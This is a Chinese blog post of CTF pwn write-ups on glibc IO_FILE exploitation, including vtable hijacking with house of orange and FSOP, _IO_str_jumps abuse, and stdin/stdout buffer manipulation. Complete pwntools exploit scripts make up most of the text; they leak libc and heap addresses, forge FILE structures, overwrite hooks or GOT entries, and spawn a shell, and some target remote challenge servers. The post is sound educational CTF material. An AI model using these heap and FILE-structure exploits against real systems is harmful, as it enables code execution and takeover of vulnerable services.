IO_FILE

学了IO_FILE有一段时间了,现在花点时间把做过的IO例题上传到博客上,例题都是从raycp师傅的github仓库下载的,说是做过的题,其实还是照着师傅们的exp写自己的EXP,不定时更新

Vtable_Hajack

pwn450_note_2016东华杯

此题仅能申请一个块,申请大小>=0x200,可释放,可修改,edit的时候有无限制的溢出,环境是2.23,glibc2.23中对vtable位置还没有2.24中添加的限制
利用house of orange将topchunk放进unsorted bins中,然后构造多个unsorted chunk,然后令一个块作为fake_vtable,利用unsorted bins attack令_IO_list_all的指针指向main_arena+88,且在此之前,令(main_arena+88)._chain指向fake_vtable,即将一个size为0x60的chunk块放进smallbins,利用FSOP继而getshell

1
from pwn import*
2
def new(size):
3
	p.sendlineafter('>>','1')
4
	p.sendlineafter('size:',str(size))
5
def edit(content):
6
	p.sendlineafter('>>','3')
7
	p.sendafter('content:',content)
8
def free():
9
	p.sendlineafter('>>','4')
10
p = process('./main')
11
libc=  ELF('./libc-2.23.so',checksec=False)
12
new(0x200000)
13
libc_base = int(p.recvuntil("\n")[:-1],16)- 0x10 + 0x201000
14
IO_list_all=libc_base+libc.sym["_IO_list_all"]
15
unsorted_bins=libc_base+libc.sym['__malloc_hook']+0x58 + 0x10
16
system=libc_base+libc.sym['system']
17
free()
18
new(0x2F0)
19
heap_base = int(p.recvuntil("\n")[:-1],16)-0x10
20
edit('\x00'*0x2F0+p64(0) + p64(0xD01) + '\n')
21
free()
22
new(0x1000)		#the top_chunk will be put into unsorted_bins 
23
free()
24
new(0x2F0)
25
edit('\x00'*0x2F8 + p64(0xCE1) + p64(unsorted_bins)*2 + '\x00'*0xCC0 + p64(0xCE0) + p64(0x11) + '\n') #split the chunk that the size is 0x300 from unsorted chunk,and the rest also has been modified.
26
free()
27
new(0x3F0) #the chunk that the size is 0x300 will be put into small bins,then get chunk from the rest unsorted chunk
28
free()
29
new(0x2F0) #get the chunk from small bins
30
data = '\x00'*0x2F0 + p64(0) + p64(0x401) + p64(heap_base + 0x300 + 0x400) + p64(unsorted_bins) + '\x00'*(0x3F0-0x10)
31
fake_IO_FILE  = '/bin/sh\x00' + p64(0x61) + p64(unsorted_bins) + p64(IO_list_all -0x10)#make the IO_list_all ->fd =main_arena+88
32
fake_IO_FILE += p64(0) + p64(1)#satisfy write_base < write_ptr
33
fake_IO_FILE = fake_IO_FILE.ljust(0xC0,'\x00')
34
fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) + p64(0)*2
35
vtable = heap_base + 0x300 + 0x400 + len(fake_IO_FILE) + 8
36
fake_IO_FILE += p64(vtable)
37
fake_IO_FILE += p64(0) + p64(0)
38
fake_IO_FILE += p64(1) + p64(system)
39
data += fake_IO_FILE
40
edit(data + '\n')
41
free()
42
new(0x500)
43
p.interactive()

下载

MAIN EXP LIBC

Vtable_Str_Jumps

babyprintf_HCTF2017

由于libc在2.24中添加了对vtable指针的check,所以无法劫持vtable指针指向fake_vtable,然后从raycp师傅的博客以及参考了其他师傅的题解,则此处可以劫持vtable指针指向_IO_str_jumps-8,然后触发_IO_flush_all_lokcp,继而刷新缓冲区,又因前面vtable指向_IO_str_jumps-8,此时会调用finish函数指针,然后控制fake_IO_file中的参数值,即可getshell

1
from pwn import*
2
def new(size,content):
3
	p.sendlineafter('size: ',str(size))
4
	p.sendlineafter('string: ',content)
5
p = process('./main')
6
libc = ELF('./libc-2.24.so',checksec=False)
7
payload = '%p%p%p%p%pLIBC%p'
8
payload = payload.ljust(0x2F0,'\x00')
9
payload += p64(0) + p64(0xD01)
10
new(0x2F0,payload)		#leak the libc_base
11
p.recvuntil('LIBC')
12
libc_base = int(p.recv(14),16) - 241 - libc.sym['__libc_start_main']
13
log.info('LIBC:\t' + hex(libc_base))
14
system = libc_base + libc.sym['system']
15
binsh=libc_base+next(libc.search('/bin/sh'))
16
unsorted_bins = libc_base + libc.sym['__malloc_hook'] + 0x10 + 88
17
IO_list_all = libc_base + libc.sym['_IO_list_all']
18
IO_str_jumps = libc_base + 0x3BE4C0
19
new(0x1000,'FMYY')
20
data = '\x00'*0x2F0
21
fake_IO_FILE  = p64(0) + p64(0x61) + p64(unsorted_bins) + p64(IO_list_all -0x10)#make the IO_list_all ->fd =main_arena+88
22
fake_IO_FILE += p64(0) + p64(1)
23
fake_IO_FILE += p64(0) + p64(binsh)
24
fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00')
25
fake_IO_FILE += p64(IO_str_jumps -8)
26
fake_IO_FILE += p64(0) + p64(system)
27
data += fake_IO_FILE
28
new(0x2F0,data)
29
p.sendlineafter('size: ',str(0x10))
30
p.interactive()

下载

MAIN EXP LIBC

fifty-dollars_ASIS2018

环境依旧是2.24,功能比较齐全,由于有UAF,利用double free可以任意写内容,主要是我在后面想不到好办法将unsorted bins chunk放进small bins,看过师傅的EXP才搞清除,自己还是太菜了

1
from pwn import*
2
def new(index,content):
3
	p.sendlineafter('choice:','1')
4
	p.sendlineafter('Index:',str(index))
5
	p.sendafter('Content:',content)
6
def show(index):
7
	p.sendlineafter('choice:','2')
8
	p.sendlineafter('Index:',str(index))
9
def free(index):
10
	p.sendlineafter('choice:','3')
11
	p.sendlineafter('Index:',str(index))
12
def modify(addr,data):
13
	free(3)
14
	free(4)
15
	free(3)
16
	new(3,p64(addr - 0x10))
17
	new(4,(p64(0)+p64(0x61)) *5)
18
	new(3,(p64(0)+p64(0x61)) *5)
19
	new(9,data)
20
p = process('./main')
21
libc =ELF('./libc-2.24.so',checksec=False)
22
for i in range(10):
23
	new(i,(p64(0)+p64(0x61)) *5)
24
free(0)
25
free(1)
26
free(0)
27
show(0)
28
heap_base = u64(p.recvuntil('Done!',drop=True).ljust(8,'\x00')) - 0x60
29
log.info('HEAP:\t' + hex(heap_base))
30
new(0,p64(heap_base + 0x50) + '\x00'*0x38 + p64(0) + p64(0x61))
31
new(1,'FMYY')
32
new(0,'FMYY')
33
new(0,p64(0) + p64(0xB1))
34
free(1)
35
show(1)
36
libc_base = u64(p.recv(6).ljust(8,'\x00')) -88 - libc.sym['__malloc_hook'] - 0x10
37
log.info('LIBC:\t' + hex(libc_base))
38
IO_list_all = libc_base + libc.sym['_IO_list_all']
39
system = libc_base + libc.sym['system']
40
IO_str_jumps = libc_base + 0x3BE4C0
41
unsorted_bins = libc_base + libc.sym['__malloc_hook'] + 0x10 + 88
42
binsh = libc_base+libc.search('/bin/sh').next()
43
modify(heap_base +0x240,p64(0)+p64(0xA1))
44
free(6)
45
new(6,'FMYY')
46
47
48
modify(heap_base+0x2A0,p64(0) + p64(0x61))
49
free(7)
50
new(7,p64(unsorted_bins) + p64(IO_list_all -0x10))
51
new(7,'FMYY')
52
fake_IO_FILE  = p64(0) + p64(0xB1) + p64(unsorted_bins) + p64(IO_list_all -0x10)#keep the IO_list_all ->fd =main_arena+88
53
fake_IO_FILE += p64(0) + p64(1)
54
fake_IO_FILE += p64(0) + p64(binsh)
55
fake_IO_FILE = fake_IO_FILE.ljust(0xD8,'\x00')
56
fake_IO_FILE += p64(IO_str_jumps -8)
57
fake_IO_FILE += p64(0) + p64(system)
58
modify(heap_base +0x60,fake_IO_FILE[0:0x50])
59
modify(heap_base +0x60 + 0x50 + 0x50,fake_IO_FILE[0xA0:])
60
p.sendlineafter('choice:','1')
61
p.sendlineafter('Index:',str(0))
62
p.interactive()

下载

MAIN EXP LIBC

Arbitrary_Read_Write

stackoverflow-WHCTF2017

有个任意地址写单字节0,则将buf_base末字节令为0,然后stdin再次改buf_end为malloc_hook+8,然后就是向下写到malloc,注意利用realloc修栈.常规题.raycp师傅是将malloc_hook改到0x400A23,由于没有对栈操作,所以可以栈溢出的方法做.

1
from pwn import*
2
#context.log_level ='DEBUG'
3
p = process('./main')
4
libc =ELF('./libc-2.24.so')
5
p.sendafter('leave your name, bro:','FMYYSSSS')
6
p.recvuntil('FMYYSSSS')
7
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 515410
8
malloc_hook = libc_base + libc.sym['__malloc_hook']
9
one_gadget = libc_base + 0xF1651
10
realloc = libc_base + libc.sym['realloc']
11
log.info('LIBC:\t' + hex(libc_base))
12
off = 0x201000 -0x10  + libc.sym['_IO_2_1_stdin_'] + 7*8
13
p.sendlineafter('stackoverflow:',str(off))
14
log.info('OFFSET\t' + hex(off))
15
p.sendlineafter('stackoverflow:',str(0x200000))
16
p.sendlineafter('ropchain','FMYY')
17
p.sendafter('stackoverflow', p64(malloc_hook + 8))
18
for i in range(8):
19
	p.sendline('\x00')
20
payload = p64(malloc_hook + 8) + p64(0)*6
21
payload += p64(0xFFFFFFFFFFFFFFFF) + p64(0)
22
payload += p64(libc_base + 3946352) + p64(0xFFFFFFFFFFFFFFFF)
23
payload += p64(0) + p64(libc_base + 3938720)
24
payload += p64(0)*3 + p64(0xFFFFFFFF)
25
payload += p64(0)*2 + p64(libc_base + 3924992)
26
payload += '\x00'*304
27
payload += p64(libc_base + 3923648) + p64(0)*2
28
payload += p64(one_gadget) + p64(realloc)
29
p.sendline(payload)
30
p.interactive()

下载

MAIN EXP LIBC

echo_back From XCTF

题目除了一个SetName外,就只有一个仅能输入7字节的格式化字符串漏洞,通过该漏洞可打印pie,libc,而此处修改stdin中IO的buf_base为\x00继而可以从scanf输入更多的字符,并通过getchar满足read_ptr>=read_end,随笔里面搬运过来的,和上一题类似.

1
from pwn import*
2
p = remote('111.198.29.45',41151)
3
#context(log_level='DEBUG')
4
libc = ELF('libc-2.23.so',checksec=False)
5
def name(name):
6
	p.sendlineafter('choice','1')
7
	p.send(name)
8
def echo(text):
9
	p.sendlineafter('choice','2')
10
	p.sendlineafter('length:','7')
11
	p.send(text)
12
def leak(content):
13
	echo(content)
14
	p.recvuntil('anonymous say:')
15
	return int(p.recv(14),16)
16
libc_base = leak('%19$p') - 0xF0 - libc.sym['__libc_start_main']
17
libc.address = libc_base
18
pie = leak('%13$p') -0xD08
19
ret = leak('%12$p') + 8
20
system = libc.sym['system']
21
binsh =  libc.search('/bin/sh').next()
22
pop_rdi_ret = pie + 0xD93
23
name(p64(libc.sym['_IO_2_1_stdin_'] + 8*7))
24
echo('%16$hhn')
25
payload = p64(libc.sym['_IO_2_1_stdin_'] + 0x83)*3 + p64(ret) + p64(ret + 0x18)
26
p.sendlineafter('choice','2')
27
p.sendafter('length:',payload)
28
p.sendline()
29
for i in range(0,len(payload)-1):
30
	p.sendlineafter('choice','2')
31
	p.sendlineafter('length:','0')
32
payload = p64(pop_rdi_ret) + p64(binsh) + p64(system)
33
p.sendlineafter('choice','2')
34
p.sendafter('length:',payload)
35
p.sendline()
36
p.sendlineafter('choice','3')
37
og = [0x45216,0x4526A,0xF02A4,0xF1147]
38
one_gadget = libc_base + og[3]
39
p.interactive()

下载

程序 EXP LIBC

babyprintf_ver2-HCTF2018

Stdout的任意读写,通过覆盖bss段的stdout,将stdout结构体迁移到bss段上,然后构建fake_IO_file即可,其中flag|0x8000,raycp的解释是:
在printf函数中会调用_IO_acquire_lock_clear_flags2 (stdout)来获取lock从而继续程序,如果没有_IO_USER_LOCK标志的话,程序会一直在循环,而_IO_USER_LOCK定义为#define _IO_USER_LOCK 0x8000,因此需要设置flag|=0x8000才能够使exp顺利进行。_IO_acquire_lock_clear_flags2 (stdout)的汇编代码如下:

1
0x7f0bcf15d850 <__printf_chk+96>     mov    rbp, qword ptr [rip + 0x2a16f9]
2
0x7f0bcf15d857 <__printf_chk+103>    mov    rbx, qword ptr [rbp]
3
0x7f0bcf15d85b <__printf_chk+107>    mov    eax, dword ptr [rbx]
4
0x7f0bcf15d85d <__printf_chk+109>    and    eax, 0x8000
5
0x7f0bcf15d862 <__printf_chk+114>    jne    __printf_chk+202 <0x7f0bcf15d8ba>
1
from pwn import*
2
context(log_level='DEBUG',arch='AMD64')
3
def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
4
	fake_IO = flat([
5
	_flags,
6
	_IO_read_ptr,	_IO_read_end,	_IO_read_base,
7
	_IO_write_base,	_IO_write_ptr,	_IO_write_end,
8
	_IO_buf_base,	_IO_buf_end])
9
	fake_IO += flat([0,0,0,0,_chain,_fileno])
10
	fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
11
	fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
12
	return fake_IO
13
p = process('./main')
14
libc = ELF('./libc-2.23.so',checksec=False)
15
p.recvuntil('location to ')
16
pie = int(p.recvuntil('\n',drop=True),16) - 0x202010
17
log.info('PIE:\t' + hex(pie))
18
fake_IO = FILE(_flags = 0xFBAD8800,_IO_write_base = pie + 0x201FE0,_IO_write_ptr = pie+ 0x201FE0 + 8,_fileno = 1,_IO_read_end=pie + 0x201FE0)
19
payload  = '\x00'*0x10
20
payload += p64(pie+0x202028)
21
payload += fake_IO
22
p.sendline(payload)
23
p.sendline('FMYY')
24
p.recvuntil('permitted!\n')
25
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['__libc_start_main']
26
log.info('LIBC:\t' + hex(libc_base))
27
malloc_hook = libc_base + libc.sym['__malloc_hook']
28
realloc_hook = libc_base + libc.sym['__realloc_hook']
29
realloc = libc_base + libc.sym['realloc']
30
one_gadget = 0x4526A + libc_base
31
fake_IO_write = FILE(_flags = 0xFBAD8000,_IO_write_ptr = malloc_hook,_IO_write_end = malloc_hook + 8,_fileno = 0)
32
payload  = p64(one_gadget) + p64(0)
33
payload += p64(pie+0x202028)
34
payload += fake_IO_write
35
p.sendline(payload)
36
p.sendline('%n')
37
p.interactive()

下载

程序 EXP LIBC

Magic

四个小时也没有思路,最后查看了WriteUP

1
from pwn import*
2
def create():
3
	p.sendlineafter('choice>>','1')
4
	p.sendafter('name:','FMYY')
5
def spell(index,name):
6
	p.sendlineafter('choice>>','2')
7
	p.sendlineafter('spell:',str(index))
8
	p.sendafter('name:',name)
9
def leave():
10
	p.sendlineafter('choice>>','4')
11
def gift(index):
12
	p.sendlineafter('choice>>','3')
13
	p.sendlineafter('chance:',str(index))
14
#context.log_level ='DEBUG'
15
p = remote('159.138.137.79',52449)
16
#p = process('./main')
17
elf = ELF('./main',checksec=False)
18
libc = ELF('./libc-2.23.so',checksec=False)
19
create()
20
spell(0,'\x00')		#init the log_FILE
21
#-----------		#Control the write_ptr point the fron of log_FILE
22
for i in range(8):
23
	spell(-2,'\x00')
24
spell(-2,'\x00'*13)
25
for i in range(3):
26
	spell(-2,'\x00')
27
spell(-2,'\x00'*9)
28
spell(-2,'\x00')
29
#-----------
30
spell(0,'\x00'*3 + p64(0x231))
31
spell(0,p64(0xFBAD1800) + p64(elf.got['atoi']))
32
libc_base = u64(p.recv(8)) - libc.sym['atoi']
33
system = libc_base + libc.sym['system']
34
rce = libc_base + 0xF1147
35
#-----------
36
spell(-2,p64(0)*3) 		#return the front of log_FILE
37
spell(0,'\x00'*2 + p64(0x231))
38
spell(0,p64(0xFBAD1800) + p64(0x6020E0) + p64(0x6020E0 + 0x50) + p64(0))	#leak the heap_base
39
log_FILE = u64(p.recv(8)) - 0x10
40
log.info('LOG:\t' + hex(log_FILE))
41
spell(0,p64(log_FILE +0x100)*3) #satisfy _IO_write_ptr <_IO_buf_base < _IO_write_end
42
spell(0,p64(elf.got['atoi']+ 0x78 + 23) + p64(elf.got['atoi'] + 0x100)) #modify the _IO_buf_base and _IO_buf_end
43
#-----------make the _IO_write_ptr = atoi_got - 1
44
spell(-2,'\x00')
45
spell(-2,'\x00'*3)
46
spell(-2,'\x00'*4)
47
#-----------
48
spell(0,p64(rce))
49
p.sendlineafter('choice>>','sh\x00')
50
p.interactive()

分析一下EXP:
由于spell函数取index的时候有个负数溢出,而保存堆指针的-2处即为log_FILE,每次spell之后,*(ptr+40)减去50,而对于FILE文件结构中偏移量为40的地方为_IO_write_ptr
进行第一轮修改,调用fwrite的时候,根据字节数n,_IO_write_ptr +=n,而每次spell _IO_write_ptr -=50,下面部分EXP将_IO_write_ptr设置在了IO_FILE之前

1
for i in range(8):
2
	spell(-2,'\x00')
3
spell(-2,'\x00'*13)
4
for i in range(3):
5
	spell(-2,'\x00')
6
spell(-2,'\x00'*9)
7
spell(-2,'\x00')

进行第二轮修改,spell中fread处会从_IO_read_ptr起读取数据,则此处EXP修改_IO_read_ptr为atoi_got即可泄漏出libc_base

1
spell(0,'\x00'*3 + p64(0x231))
2
spell(0,p64(0xFBAD1800) + p64(elf.got['atoi']))
3
libc_base = u64(p.recv(8)) - libc.sym['atoi']
4
system = libc_base + libc.sym['system']
5
rce = libc_base + 0xF1147

进行第三轮修改,利用负数溢出,调整_IO_write_ptr回到IO_FILE之前,此次修改_IO_read_ptr,泄漏heap_base,然后从而可以满足_IO_write_ptr <_IO_buf_base < _IO_write_end,并修改_IO_buf_base与_IO_buf_end,向atoi_got中写入system

1
spell(-2,p64(0)*3) 		#return the front of log_FILE
2
spell(0,'\x00'*2 + p64(0x231))
3
spell(0,p64(0xFBAD1800) + p64(0x6020E0) + p64(0x6020E0 + 0x50) + p64(0))	#leak the heap_base
4
log_FILE = u64(p.recv(8)) - 0x10
5
log.info('LOG:\t' + hex(log_FILE))
6
spell(0,p64(log_FILE +0x100)*3) #satisfy _IO_write_ptr <_IO_buf_base < _IO_write_end
7
spell(0,p64(elf.got['atoi']+ 0x78 + 23) + p64(elf.got['atoi'] + 0x100)) #modify the _IO_buf_base and _IO_buf_end
8
spell(-2,'\x00')
9
spell(-2,'\x00'*3)
10
spell(-2,'\x00'*4)
11
spell(0,p64(rce))

最后选择的时候即可getshell,此题建议去读读fread,fwrite的源码,里面涉及了部分源码的地方仍需自己去查看

下载

程序 EXP LIBC

未完待续

参考来源:ray-cp

Contents
  1. 1. Vtable_Hajack
    1. 1.1. pwn450_note_2016东华杯
    2. 1.2. 下载
  2. 2. Vtable_Str_Jumps
    1. 2.1. babyprintf_HCTF2017
    2. 2.2. 下载
    3. 2.3. fifty-dollars_ASIS2018
    4. 2.4. 下载
  3. 3. Arbitrary_Read_Write
    1. 3.1. stackoverflow-WHCTF2017
    2. 3.2. 下载
    3. 3.3. echo_back From XCTF
    4. 3.4. 下载
    5. 3.5. babyprintf_ver2-HCTF2018
    6. 3.6. 下载
    7. 3.7. Magic
    8. 3.8. 下载
  4. 4. 未完待续
|